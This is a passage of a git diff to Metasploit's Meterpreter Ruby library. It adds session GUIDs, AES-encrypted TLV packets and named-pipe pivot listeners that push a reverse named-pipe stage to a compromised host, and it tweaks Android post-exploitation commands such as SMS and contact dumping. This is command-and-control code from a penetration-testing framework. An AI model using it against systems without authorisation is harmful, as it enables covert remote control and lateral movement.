TLV_META_TYPE_STRING == TLV_META_TYPE_STRING) if (raw.length > 0) - self.value = raw[8..length-2] + self.value = raw[HEADER_SIZE..length-2] else self.value = nil end @@ -362,23 +393,24 @@ class Tlv self.value = false end else - self.value = raw[8..length-1] + self.value = raw[HEADER_SIZE..length-1] end - return length; + length end protected - def htonq( value ) - if( [1].pack( 's' ) == [1].pack( 'n' ) ) + def htonq(value) + if [1].pack( 's' ) == [1].pack('n') return value + else + [value].pack('Q<').reverse.unpack('Q<').first end - return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first end - def ntohq( value ) - return htonq( value ) + def ntohq(value) + htonq(value) end end @@ -404,7 +436,7 @@ class GroupTlv < Tlv def initialize(type) super(type) - self.tlvs = [ ] + self.tlvs = [] end ## @@ -445,8 +477,8 @@ class GroupTlv < Tlv # Returns an array of TLVs for the given type. # def get_tlvs(type) - if (type == TLV_TYPE_ANY) - return self.tlvs + if type == TLV_TYPE_ANY + self.tlvs else type_tlvs = [] @@ -456,7 +488,7 @@ class GroupTlv < Tlv end } - return type_tlvs + type_tlvs end end @@ -472,7 +504,7 @@ class GroupTlv < Tlv def add_tlv(type, value = nil, replace = false, compress=false) # If we should replace any TLVs with the same type...remove them first - if (replace) + if replace each(type) { |tlv| if (tlv.type == type) self.tlvs.delete(tlv) @@ -488,14 +520,14 @@ class GroupTlv < Tlv self.tlvs << tlv - return tlv + tlv end # # Adds zero or more TLVs to the packet. # def add_tlvs(tlvs) - if (tlvs != nil) + if tlvs tlvs.each { |tlv| add_tlv(tlv['type'], tlv['value']) } @@ -508,11 +540,12 @@ class GroupTlv < Tlv def get_tlv(type, index = 0) type_tlvs = get_tlvs(type) - if (type_tlvs.length > index) - return type_tlvs[index] + if type_tlvs.length > index + type_tlvs[index] + else + nil end - return nil end # @@ -521,7 +554,7 @@ class GroupTlv < Tlv def get_tlv_value(type, index = 0) tlv = get_tlv(type, index) - return (tlv != nil) ? tlv.value : nil + (tlv != nil) ? tlv.value : nil end # @@ -535,7 +568,7 @@ class GroupTlv < Tlv # Checks to see if the container has a TLV of a given type. # def has_tlv?(type) - return get_tlv(type) != nil + get_tlv(type) != nil end # @@ -562,7 +595,7 @@ class GroupTlv < Tlv raw << tlv.to_r } - return [raw.length + 8, self.type].pack("NN") + raw + [raw.length + HEADER_SIZE, self.type].pack("NN") + raw end # @@ -570,19 +603,19 @@ class GroupTlv < Tlv # TLVs. # def from_r(raw) - offset = 8 + offset = HEADER_SIZE # Reset the TLVs array self.tlvs = [] self.type = raw.unpack("NN")[1] # Enumerate all of the TLVs - while (offset < raw.length-1) + while offset < raw.length-1 tlv = nil # Get the length and type - length, type = raw[offset..offset+8].unpack("NN") + length, type = raw[offset..offset+HEADER_SIZE].unpack("NN") if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP) tlv = GroupTlv.new(type) @@ -609,6 +642,49 @@ end ### class Packet < GroupTlv attr_accessor :created_at + attr_accessor :raw + attr_accessor :session_guid + attr_accessor :encrypt_flags + attr_accessor :length + + ## + # + # The Packet container itself has a custom header that is slightly different to the + # typical TLV packets. The header contains the following: + # + # XOR KEY - 4 bytes + # Session GUID - 16 bytes + # Encrypt flags - 4 bytes + # Packet length - 4 bytes + # Packet type - 4 bytes + # Packet data - X bytes + # + # If the encrypt flags are zero, then the Packet data is just straight TLV values as + # per the normal TLV packet structure. + # + # If the encrypt flags are non-zer, then the Packet data is encrypted based on the scheme. + # + # Flag == 1 (AES256) + # IV - 16 bytes + # Encrypted data - X bytes + # + # The key that is required to decrypt the data is stored alongside the session data, + # and hence when the packet is initially parsed, only the header is accessed. The + # packet itself will need to be decrypted on the fly at the point that it is required + # and at that point the decryption key needs to be provided. + # + ### + + XOR_KEY_SIZE = 4 + ENCRYPTED_FLAGS_SIZE = 4 + PACKET_LENGTH_SIZE = 4 + PACKET_TYPE_SIZE = 4 + PACKET_HEADER_SIZE = XOR_KEY_SIZE + GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE + + AES_IV_SIZE = 16 + + ENC_FLAG_NONE = 0x0 + ENC_FLAG_AES256 = 0x1 ## # @@ -620,7 +696,7 @@ class Packet < GroupTlv # Creates a request with the supplied method. # def Packet.create_request(method = nil) - return Packet.new(PACKET_TYPE_REQUEST, method) + Packet.new(PACKET_TYPE_REQUEST, method) end # @@ -638,7 +714,7 @@ class Packet < GroupTlv method = request.method end - return Packet.new(response_type, method) + Packet.new(response_type, method) end ## @@ -655,11 +731,12 @@ class Packet < GroupTlv def initialize(type = nil, method = nil) super(type) - if (method) + if method self.method = method end self.created_at = ::Time.now + self.raw = '' # If it's a request, generate a random request identifier if ((type == PACKET_TYPE_REQUEST) || @@ -672,20 +749,99 @@ class Packet < GroupTlv end end + def add_raw(bytes) + self.raw << bytes + end + + def raw_bytes_required + # if we have the xor bytes and length ... + if self.raw.length >= PACKET_HEADER_SIZE + # return a value based on the length of the data indicated by + # the header + xor_key = self.raw.unpack('a4')[0] + decoded_bytes = xor_bytes(xor_key, raw[0, PACKET_HEADER_SIZE]) + _, _, _, length, _ = decoded_bytes.unpack('a4a16NNN') + length + PACKET_HEADER_SIZE - HEADER_SIZE - self.raw.length + else + # Otherwise ask for the remaining bytes for the metadata to get the packet length + # So we can do the rest of the calculation next time + PACKET_HEADER_SIZE - self.raw.length + end + end + + def aes_encrypt(key, data) + # Create the required cipher instance + aes = OpenSSL::Cipher.new('AES-256-CBC') + # Generate a truly random IV + iv = aes.random_iv + + # set up the encryption + aes.encrypt + aes.key = key + aes.iv = iv + + # encrypt and return the IV along with the result + return iv, aes.update(data) + aes.final + end + + def aes_decrypt(key, iv, data) + # Create the required cipher instance + aes = OpenSSL::Cipher.new('AES-256-CBC') + # Generate a truly random IV + + # set up the encryption + aes.decrypt + aes.key = key + aes.iv = iv + + # decrypt! + aes.update(data) + aes.final + end + # # Override the function that creates the raw byte stream for # sending so that it generates an XOR key, uses it to scramble # the serialized TLV content, and then returns the key plus the # scrambled data as the payload. # - def to_r - raw = super - xor_key = rand(254) + 1 - xor_key |= (rand(254) + 1) << 8 - xor_key |= (rand(254) + 1) << 16 - xor_key |= (rand(254) + 1) << 24 - result = [xor_key].pack('N') + xor_bytes(xor_key, raw) - result + def to_r(session_guid = nil, key = nil) + xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + + raw = (session_guid || NULL_GUID).dup + tlv_data = GroupTlv.instance_method(:to_r).bind(self).call + + if key && key[:key] && key[:type] == ENC_FLAG_AES256 + # encrypt the data, but not include the length and type + iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) + # now manually add the length/type/iv/ciphertext + raw << [ENC_FLAG_AES256, iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') + else + raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + end + + # return the xor'd result with the key + xor_key + xor_bytes(xor_key, raw) + end + + # + # Decrypt the packet based on the content of the encryption flags. + # + def decrypt_packet(key, encrypt_flags, data) + # TODO: throw an error if the expected encryption isn't the same as the given + # as this could be an indication of hijacking or side-channel packet addition + # as highlighted by Justin Steven on github. + if key && key[:key] && key[:type] && encrypt_flags == ENC_FLAG_AES256 && encrypt_flags == key[:type] + iv = data[0, AES_IV_SIZE] + aes_decrypt(key[:key], iv, data[iv.length..-1]) + else + data + end + end + + def parse_header! + xor_key = self.raw.unpack('a4')[0] + data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE]) + _, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN') end # @@ -694,17 +850,20 @@ class Packet < GroupTlv # passing it on to the default functionality that can parse # the TLV values. # - def from_r(bytes) - xor_key = bytes[0,4].unpack('N')[0] - super(xor_bytes(xor_key, bytes[4, bytes.length])) + def from_r(key=nil) + self.parse_header! + xor_key = self.raw.unpack('a4')[0] + data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1]) + raw = decrypt_packet(key, self.encrypt_flags, data) + super([self.length, self.type, raw].pack('NNA*')) end # - # Xor a set of bytes with a given DWORD xor key. + # Xor a set of bytes with a given XOR key. # def xor_bytes(xor_key, bytes) result = '' - bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b| + bytes.bytes.zip(xor_key.bytes.cycle).each do |b| result << (b[0].ord ^ b[1].ord).chr end result diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index cb4a95702b..3699eaea1f 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -57,6 +57,11 @@ module PacketDispatcher # active migration. Unused if this is a passive dispatcher attr_accessor :comm_mutex + # The guid that identifies an active Meterpreter session + attr_accessor :session_guid + + # This contains the key material used for TLV encryption + attr_accessor :tlv_enc_key # Passive Dispatching # @@ -71,10 +76,10 @@ module PacketDispatcher attr_accessor :recv_queue def initialize_passive_dispatcher - self.send_queue = [] - self.recv_queue = [] - self.waiters = [] - self.alive = true + self.send_queue = [] + self.recv_queue = [] + self.waiters = [] + self.alive = true # Ensure that there is only one leading and trailing slash on the URI resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" @@ -131,7 +136,8 @@ module PacketDispatcher resp.body = "" if req.body and req.body.length > 0 packet = Packet.new(0) - packet.from_r(req.body) + packet.add_raw(req.body) + packet.parse_header! dispatch_inbound_packet(packet) end cli.send_response(resp) @@ -151,13 +157,28 @@ module PacketDispatcher # # Sends a packet without waiting for a response. # - def send_packet(packet, completion_routine = nil, completion_param = nil) - if (completion_routine) - add_response_waiter(packet, completion_routine, completion_param) + def send_packet(packet, opts={}) + if self.pivot_session + opts[:session_guid] = self.session_guid + opts[:tlv_enc_key] = self.tlv_enc_key + return self.pivot_session.send_packet(packet, opts) + end + + if opts[:completion_routine] + add_response_waiter(packet, opts[:completion_routine], opts[:completion_param]) + end + + session_guid = self.session_guid + tlv_enc_key = self.tlv_enc_key + + # if a session guid is provided, use all the details provided + if opts[:session_guid] + session_guid = opts[:session_guid] + tlv_enc_key = opts[:tlv_enc_key] end bytes = 0 - raw = packet.to_r + raw = packet.to_r(session_guid, tlv_enc_key) err = nil # Short-circuit send when using a passive dispatcher @@ -166,8 +187,7 @@ module PacketDispatcher return raw.size # Lie! end - if (raw) - + if raw self.comm_mutex.synchronize do begin bytes = self.sock.write(raw) @@ -284,6 +304,24 @@ module PacketDispatcher # Reception # ## + + def pivot_keepalive_start + return unless self.send_keepalives + self.receiver_thread = Rex::ThreadFactory.spawn("PivotKeepalive", false) do + while self.alive + begin + Rex::sleep(PING_TIME) + keepalive + rescue ::Exception => e + dlog("Exception caught in pivot keepalive: #{e.class}: #{e}", 'meterpreter', LEV_1) + dlog("Call stack: #{e.backtrace.join("\n")}", 'meterpreter', LEV_2) + self.alive = false + break + end + end + end + end + # # Monitors the PacketDispatcher's sock for data in its own # thread context and parsers all inbound packets. @@ -293,6 +331,9 @@ module PacketDispatcher # Skip if we are using a passive dispatcher return if self.passive_service + # redirect to pivot keepalive if we're a pivot session + return pivot_keepalive_start if self.pivot_session + self.comm_mutex = ::Mutex.new self.waiters = [] @@ -365,7 +406,7 @@ module PacketDispatcher backlog.each do |pkt| begin - if ! dispatch_inbound_packet(pkt) + unless dispatch_inbound_packet(pkt) # Keep Packets in the receive queue until a handler is registered # for them. Packets will live in the receive queue for up to # PACKET_TIMEOUT seconds, after which they will be dropped. @@ -420,19 +461,26 @@ module PacketDispatcher # once a full packet has been received. # def receive_packet - return parser.recv(self.sock) + packet = parser.recv(self.sock) + if packet + packet.parse_header! + if self.session_guid == NULL_GUID + self.session_guid = packet.session_guid.dup + end + end + packet end # # Stop the monitor # def monitor_stop - if(self.receiver_thread) + if self.receiver_thread self.receiver_thread.kill self.receiver_thread = nil end - if(self.dispatcher_thread) + if self.dispatcher_thread self.dispatcher_thread.kill self.dispatcher_thread = nil end @@ -448,6 +496,10 @@ module PacketDispatcher # Adds a waiter association with the supplied request packet. # def add_response_waiter(request, completion_routine = nil, completion_param = nil) + if self.pivot_session + return self.pivot_session.add_response_waiter(request, completion_routine, completion_param) + end + waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param) self.waiters << waiter @@ -460,6 +512,10 @@ module PacketDispatcher # if anyone. # def notify_response_waiter(response) + if self.pivot_session + return self.pivot_session.notify_response_waiter(response) + end + handled = false self.waiters.each() { |waiter| if (waiter.waiting_for?(response)) @@ -476,7 +532,11 @@ module PacketDispatcher # Removes a waiter from the list of waiters. # def remove_response_waiter(waiter) - self.waiters.delete(waiter) + if self.pivot_session + self.pivot_session.remove_response_waiter(waiter) + else + self.waiters.delete(waiter) + end end ## @@ -501,15 +561,21 @@ module PacketDispatcher def dispatch_inbound_packet(packet) handled = false + pivot_session = self.find_pivot_session(packet.session_guid) + + tlv_enc_key = self.tlv_enc_key + tlv_enc_key = pivot_session.pivoted_session.tlv_enc_key if pivot_session + + packet.from_r(tlv_enc_key) + # Update our last reply time self.last_checkin = Time.now + pivot_session.pivoted_session.last_checkin = self.last_checkin if pivot_session # If the packet is a response, try to notify any potential # waiters - if packet.response? - if (notify_response_waiter(packet)) - return true - end + if packet.response? && notify_response_waiter(packet) + return true end # Enumerate all of the inbound packet handlers until one handles diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 5b33c7b7c5..28bd1ef584 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -12,17 +12,10 @@ module Meterpreter ### class PacketParser - # 4 byte xor - # 4 byte length - # 4 byte type - HEADER_SIZE = 12 - # - # Initializes the packet parser context with an optional cipher. + # Initializes the packet parser context. # - def initialize(cipher = nil) - self.cipher = cipher - + def initialize reset end @@ -30,71 +23,35 @@ class PacketParser # Resets the parser state so that a new packet can begin being parsed. # def reset - self.raw = '' - self.hdr_length_left = HEADER_SIZE - self.payload_length_left = 0 + self.packet = Packet.new(0) end # # Reads data from the wire and parse as much of the packet as possible. # def recv(sock) - # Create a typeless packet - packet = Packet.new(0) + bytes_left = self.packet.raw_bytes_required - if (self.hdr_length_left > 0) - buf = sock.read(self.hdr_length_left) - - if (buf) - self.raw << buf - - self.hdr_length_left -= buf.length - else - raise EOFError - end - - # If we've finished reading the header, set the - # payload length left to the number of bytes - # specified in the length - if (self.hdr_length_left == 0) - xor_key = raw[0, 4].unpack('N')[0] - length_bytes = packet.xor_bytes(xor_key, raw[4, 4]) - # header size doesn't include the xor key, which is always tacked on the front - self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) - end - end - if (self.payload_length_left > 0) - buf = sock.read(self.payload_length_left) - - if (buf) - self.raw << buf - - self.payload_length_left -= buf.length + if bytes_left > 0 + raw = sock.read(bytes_left) + if raw + self.packet.add_raw(raw) else raise EOFError end end - # If we've finished reading the entire packet - if ((self.hdr_length_left == 0) && - (self.payload_length_left == 0)) - - # TODO: cipher decryption - if (cipher) - end - - # Deserialize the packet from the raw buffer - packet.from_r(self.raw) - - # Reset our state + if self.packet.raw_bytes_required == 0 + packet = self.packet reset - return packet end + + nil end protected - attr_accessor :cipher, :raw, :hdr_length_left, :payload_length_left # :nodoc: + attr_accessor :cipher, :packet # :nodoc: end diff --git a/lib/rex/post/meterpreter/pivot.rb b/lib/rex/post/meterpreter/pivot.rb new file mode 100644 index 0000000000..82814c8ce5 --- /dev/null +++ b/lib/rex/post/meterpreter/pivot.rb @@ -0,0 +1,163 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/inbound_packet_handler' +require 'securerandom' + +module Rex +module Post +module Meterpreter + +class PivotListener + attr_accessor :id + + attr_accessor :session_class + + attr_accessor :url + + attr_accessor :stage + + def initialize(session_class, url, stage) + self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') + self.session_class = session_class + self.url = url + self.stage = stage + end + + def to_row + [self.id.unpack('H*')[0], url, stage] + end +end + +class Pivot + + # + # The associated meterpreter client instance + # + attr_accessor :client + + attr_accessor :pivoted_session + + # Class modifications to support global pivot message + # dispatching without having to register a per-instance handler + class << self + include Rex::Post::Meterpreter::InboundPacketHandler + + # Class request handler for all channels that dispatches requests + # to the appropriate class instance's DIO handler + def request_handler(client, packet) + if packet.method == 'core_pivot_session_new' + session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID) + listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID) + client.add_pivot_session(Pivot.new(client, session_guid, listener_id)) + elsif packet.method == 'core_pivot_session_died' + session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID) + pivot = client.find_pivot_session(session_guid) + if pivot + pivot.pivoted_session.kill('Died') + client.remove_pivot_session(session_guid) + end + end + true + end + end + + def Pivot.get_listeners(client) + client.pivot_listeners + end + + def Pivot.remove_listener(client, listener_id) + if client.find_pivot_listener(listener_id) + request = Packet.create_request('core_pivot_remove') + request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id) + client.send_request(request) + client.remove_pivot_listener(listener_id) + end + end + + def Pivot.create_named_pipe_listener(client, opts={}) + request = Packet.create_request('core_pivot_add') + request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name]) + + # TODO: use the framework to generate the whole lot, including a session type + c = Class.new(::Msf::Payload) + c.include(::Msf::Payload::Stager) + c.include(::Msf::Payload::TransportConfig) + + # TODO: add more platforms + case opts[:platform] + when 'windows' + # Include the appropriate reflective dll injection module for the target process architecture... + if opts[:arch] == ARCH_X86 + c.include(::Msf::Payload::Windows::MeterpreterLoader) + elsif opts[:arch] == ARCH_X64 + c.include(::Msf::Payload::Windows::MeterpreterLoader_x64) + else + STDERR.puts("Not including a loader for '#{opts[:arch]}'\n") + end + end + + stage_opts = { + arch: opts[:arch], + force_write_handle: true, + null_session_guid: true, + datastore: { + exit_func: opts[:exit_func] || 'process', + expiration: client.expiration, + comm_timeout: client.comm_timeout, + retry_total: client.retry_total, + retry_wait: client.retry_wait, + 'PIPEHOST' => opts[:pipe_host], + 'PIPENAME' => opts[:pipe_name] + } + } + + # Create the migrate stager + stager = c.new() + + stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)] + stage = stager.stage_payload(stage_opts) + + url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}" + stage_config = "#{opts[:arch]}/#{opts[:platform]}" + pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config) + + request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage) + request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length) + request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id) + + client.send_request(request) + + client.add_pivot_listener(pivot_listener) + + pivot_listener + end + + def initialize(client, session_guid, listener_id) + self.client = client + + opts = { + pivot_session: client, + session_guid: session_guid + } + + listener = client.find_pivot_listener(listener_id) + self.pivoted_session = listener.session_class.new(nil, opts) + + self.pivoted_session.framework = self.client.framework + self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30}) + self.client.framework.sessions.register(self.pivoted_session) + end + +protected + + # + # Cleans up any lingering resources + # + def cleanup + end + +end + +end; end; end + + diff --git a/lib/rex/post/meterpreter/pivot_container.rb b/lib/rex/post/meterpreter/pivot_container.rb new file mode 100644 index 0000000000..e87e5807e6 --- /dev/null +++ b/lib/rex/post/meterpreter/pivot_container.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter + +### +# +# This interface is meant to be included by things that are meant to contain +# zero or more pivot instances in the form of a hash. +# +### +module PivotContainer + + # + # Initializes the pivot association hash + # + def initialize_pivots + self.pivot_sessions = {} + self.pivot_listeners = {} + end + + # + # Adds a pivot to the container that is indexed by the pivoted + # session guid. + # + def add_pivot_session(pivot) + self.pivot_sessions[pivot.pivoted_session.session_guid] = pivot + end + + def add_pivot_listener(listener) + self.pivot_listeners[listener.id] = listener + end + + # + # Looks up a pivot instance based on its pivoted session guid. + # + def find_pivot_session(pivot_session_guid) + return self.pivot_sessions[pivot_session_guid] + end + + def find_pivot_listener(listener_id) + return self.pivot_listeners[listener_id] + end + + # + # Removes a pivot based on its pivoted session guid. + # + def remove_pivot_session(pivot_session_guid) + return self.pivot_sessions.delete(pivot_session_guid) + end + + def remove_pivot_listener(listener_id) + return self.pivot_listeners.delete(listener_id) + end + + # + # The hash of pivot sessions. + # + attr_reader :pivot_sessions + + attr_reader :pivot_listeners + +protected + + attr_writer :pivot_sessions # :nodoc: + + attr_writer :pivot_listeners # :nodoc: + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb index 95d8a21a6f..06bc638d8f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb @@ -49,6 +49,15 @@ module Console::CommandDispatcher shell.client end + # + # Returns the commands that meet the requirements + # + def filter_commands(all, reqs) + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } + end + end + # # Returns true if the client has a framework object. # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 63203eeef9..8d3d0c2872 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -36,7 +36,6 @@ class Console::CommandDispatcher::Android 'set_audio_mode' => 'Set Ringer Mode', 'wakelock' => 'Enable/Disable Wakelock', } - reqs = { 'dump_sms' => ['android_dump_sms'], 'dump_contacts' => ['android_dump_contacts'], @@ -53,11 +52,7 @@ class Console::CommandDispatcher::Android 'set_audio_mode' => ['android_set_audio_mode'], 'wakelock' => ['android_wakelock'], } - - # Ensure any requirements of the command are met - all.delete_if do |cmd, _desc| - reqs[cmd].any? { |req| !client.commands.include?(req) } - end + filter_commands(all, reqs) end def interval_collect_usage @@ -517,7 +512,7 @@ class Console::CommandDispatcher::Android '-h' => [ false, 'Help Banner' ], '-d' => [ true, 'Destination number' ], '-t' => [ true, 'SMS body text' ], - '-dr' => [ false, 'Wait for delivery report' ] + '-r' => [ false, 'Wait for delivery report' ] ) dest = '' @@ -535,7 +530,7 @@ class Console::CommandDispatcher::Android dest = val when '-t' body = val - when '-dr' + when '-r' dr = true end end @@ -701,6 +696,7 @@ class Console::CommandDispatcher::Android wakelock_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-r' => [ false, 'Release wakelock' ], + '-w' => [ false, 'Turn screen on' ], '-f' => [ true, 'Advanced Wakelock flags (e.g 268435456)' ], ) @@ -713,6 +709,9 @@ class Console::CommandDispatcher::Android return when '-r' flags = 0 + when '-w' + client.android.wakelock(0) + flags = 268435482 when '-f' flags = val.to_i end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index e5e4bd6925..a9cafc2d71 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -34,59 +34,62 @@ class Console::CommandDispatcher::Core end @@irb_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-e" => [ true, "Expression to evaluate." ]) + '-h' => [false, 'Help banner.'], + '-e' => [true, 'Expression to evaluate.']) @@load_opts = Rex::Parser::Arguments.new( - "-l" => [ false, "List all available extensions" ], - "-h" => [ false, "Help menu." ]) + '-l' => [false, 'List all available extensions'], + '-h' => [false, 'Help menu.']) # # List of supported commands. # def commands c = { - "?" => "Help menu", - "background" => "Backgrounds the current session", - "close" => "Closes a channel", - "channel" => "Displays information or control active channels", - "exit" => "Terminate the meterpreter session", - "help" => "Help menu", - "irb" => "Drop into irb scripting mode", - "use" => "Deprecated alias for 'load'", - "load" => "Load one or more meterpreter extensions", - "machine_id" => "Get the MSF ID of the machine attached to the session", - "quit" => "Terminate the meterpreter session", - "resource" => "Run the commands stored in a file", - "uuid" => "Get the UUID for the current session", - "read" => "Reads data from a channel", - "run" => "Executes a meterpreter script or Post module", - "bgrun" => "Executes a meterpreter script as a background thread", - "bgkill" => "Kills a background meterpreter script", - "get_timeouts" => "Get the current session timeout values", - "set_timeouts" => "Set the current session timeout values", - "sessions" => "Quickly switch to another session", - "bglist" => "Lists running background scripts", - "write" => "Writes data to a channel", - "enable_unicode_encoding" => "Enables encoding of unicode strings", - "disable_unicode_encoding" => "Disables encoding of unicode strings" + '?' => 'Help menu', + 'background' => 'Backgrounds the current session', + 'close' => 'Closes a channel', + 'channel' => 'Displays information or control active channels', + 'exit' => 'Terminate the meterpreter session', + 'help' => 'Help menu', + 'irb' => 'Drop into irb scripting mode', + 'use' => 'Deprecated alias for "load"', + 'load' => 'Load one or more meterpreter extensions', + 'machine_id' => 'Get the MSF ID of the machine attached to the session', + 'guid' => 'Get the session GUID', + 'quit' => 'Terminate the meterpreter session', + 'resource' => 'Run the commands stored in a file', + 'uuid' => 'Get the UUID for the current session', + 'read' => 'Reads data from a channel', + 'run' => 'Executes a meterpreter script or Post module', + 'bgrun' => 'Executes a meterpreter script as a background thread', + 'bgkill' => 'Kills a background meterpreter script', + 'get_timeouts' => 'Get the current session timeout values', + 'set_timeouts' => 'Set the current session timeout values', + 'sessions' => 'Quickly switch to another session', + 'bglist' => 'Lists running background scripts', + 'write' => 'Writes data to a channel', + 'enable_unicode_encoding' => 'Enables encoding of unicode strings', + 'disable_unicode_encoding' => 'Disables encoding of unicode strings' } if client.passive_service - c["detach"] = "Detach the meterpreter session (for http/https)" + c['detach'] = 'Detach the meterpreter session (for http/https)' end # Currently we have some windows-specific core commands` if client.platform == 'windows' # only support the SSL switching for HTTPS if client.passive_service && client.sock.type? == 'tcp-ssl' - c["ssl_verify"] = "Modify the SSL certificate verification setting" + c['ssl_verify'] = 'Modify the SSL certificate verification setting' end + + c['pivot'] = 'Manage pivot listeners' end if client.platform == 'windows' || client.platform == 'linux' # Migration only supported on windows and linux - c["migrate"] = "Migrate the server to another process" + c['migrate'] = 'Migrate the server to another process' end # TODO: This code currently checks both platform and architecture for the python @@ -94,18 +97,19 @@ class Console::CommandDispatcher::Core # the OS platform rather than the meterpreter arch. When we've properly implemented # the platform update feature we can remove some of these conditions if client.platform == 'windows' || client.platform == 'linux' || - client.platform == 'python' || client.platform == 'java' || - client.arch == ARCH_PYTHON || client.platform == 'android' + client.platform == 'python' || client.arch == ARCH_PYTHON || + client.platform == 'java' || client.arch == ARCH_JAVA || + client.platform == 'android' || client.arch == ARCH_DALVIK # Yet to implement transport hopping for other meterpreters. - c["transport"] = "Change the current transport mechanism" + c['transport'] = 'Change the current transport mechanism' # sleep functionality relies on the transport features, so only # wire that in with the transport stuff. - c["sleep"] = "Force Meterpreter to go quiet, then re-establish session." + c['sleep'] = 'Force Meterpreter to go quiet, then re-establish session.' end if msf_loaded? - c["info"] = "Displays information about a Post module" + c['info'] = 'Displays information about a Post module' end c @@ -115,7 +119,157 @@ class Console::CommandDispatcher::Core # Core baby. # def name - "Core" + 'Core' + end + + @@pivot_opts = Rex::Parser::Arguments.new( + '-t' => [true, 'Pivot listener type'], + '-i' => [true, 'Identifier of the pivot to remove'], + '-l' => [true, 'Host address to bind to (if applicable)'], + '-n' => [true, 'Name of the listener entity (if applicable)'], + '-a' => [true, 'Architecture of the stage to generate'], + '-p' => [true, 'Platform of the stage to generate'], + '-h' => [false, 'View help'] + ) + + @@pivot_supported_archs = [ARCH_X64, ARCH_X86] + @@pivot_supported_platforms = ['windows'] + + def cmd_pivot_help + print_line('Usage: pivot [options]') + print_line + print_line('Manage pivot listeners on the target.') + print_line + print_line(@@pivot_opts.usage) + print_line + print_line('Supported pivot types:') + print_line(' - pipe (using named pipes over SMB)') + print_line('Supported arhiectures:') + @@pivot_supported_archs.each do |a| + print_line(' - ' + a) + end + print_line('Supported platforms:') + print_line(' - windows') + print_line + print_line("eg. pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a #{@@pivot_supported_archs.first} -p windows") + print_line(" pivot list") + print_line(" pivot remove -i 1") + print_line + end + + def cmd_pivot(*args) + if args.length == 0 || args.include?('-h') + cmd_pivot_help + return true + end + + opts = {} + @@pivot_opts.parse(args) { |opt, idx, val| + case opt + when '-t' + opts[:type] = val + when '-i' + opts[:guid] = val + when '-l' + opts[:lhost] = val + when '-n' + opts[:name] = val + when '-a' + opts[:arch] = val + when '-p' + opts[:platform] = val + end + } + + # first parameter is the command + case args[0] + when 'remove', 'del', 'delete', 'rm' + unless opts[:guid] + print_error('Pivot listener ID must be specified (-i)') + return false + end + + unless opts[:guid] =~ /^[0-9a-f]{32}/i && opts[:guid].length == 32 + print_error("Invalid pivot listener ID: #{opts[:guid]}") + return false + end + + listener_id = [opts[:guid]].pack('H*') + unless client.find_pivot_listener(listener_id) + print_error("Unknown pivot listener ID: #{opts[:guid]}") + return false + end + + Pivot.remove_listener(client, listener_id) + print_good("Successfully removed pivot: #{opts[:guid]}") + when 'list', 'show', 'print' + if client.pivot_listeners.length > 0 + tbl = Rex::Text::Table.new( + 'Header' => 'Currently active pivot listeners', + 'Indent' => 4, + 'Columns' => ['Id', 'URL', 'Stage']) + + client.pivot_listeners.each do |k, v| + tbl << v.to_row + end + print_line + print_line(tbl.to_s) + else + print_status('There are no active pivot listeners') + end + when 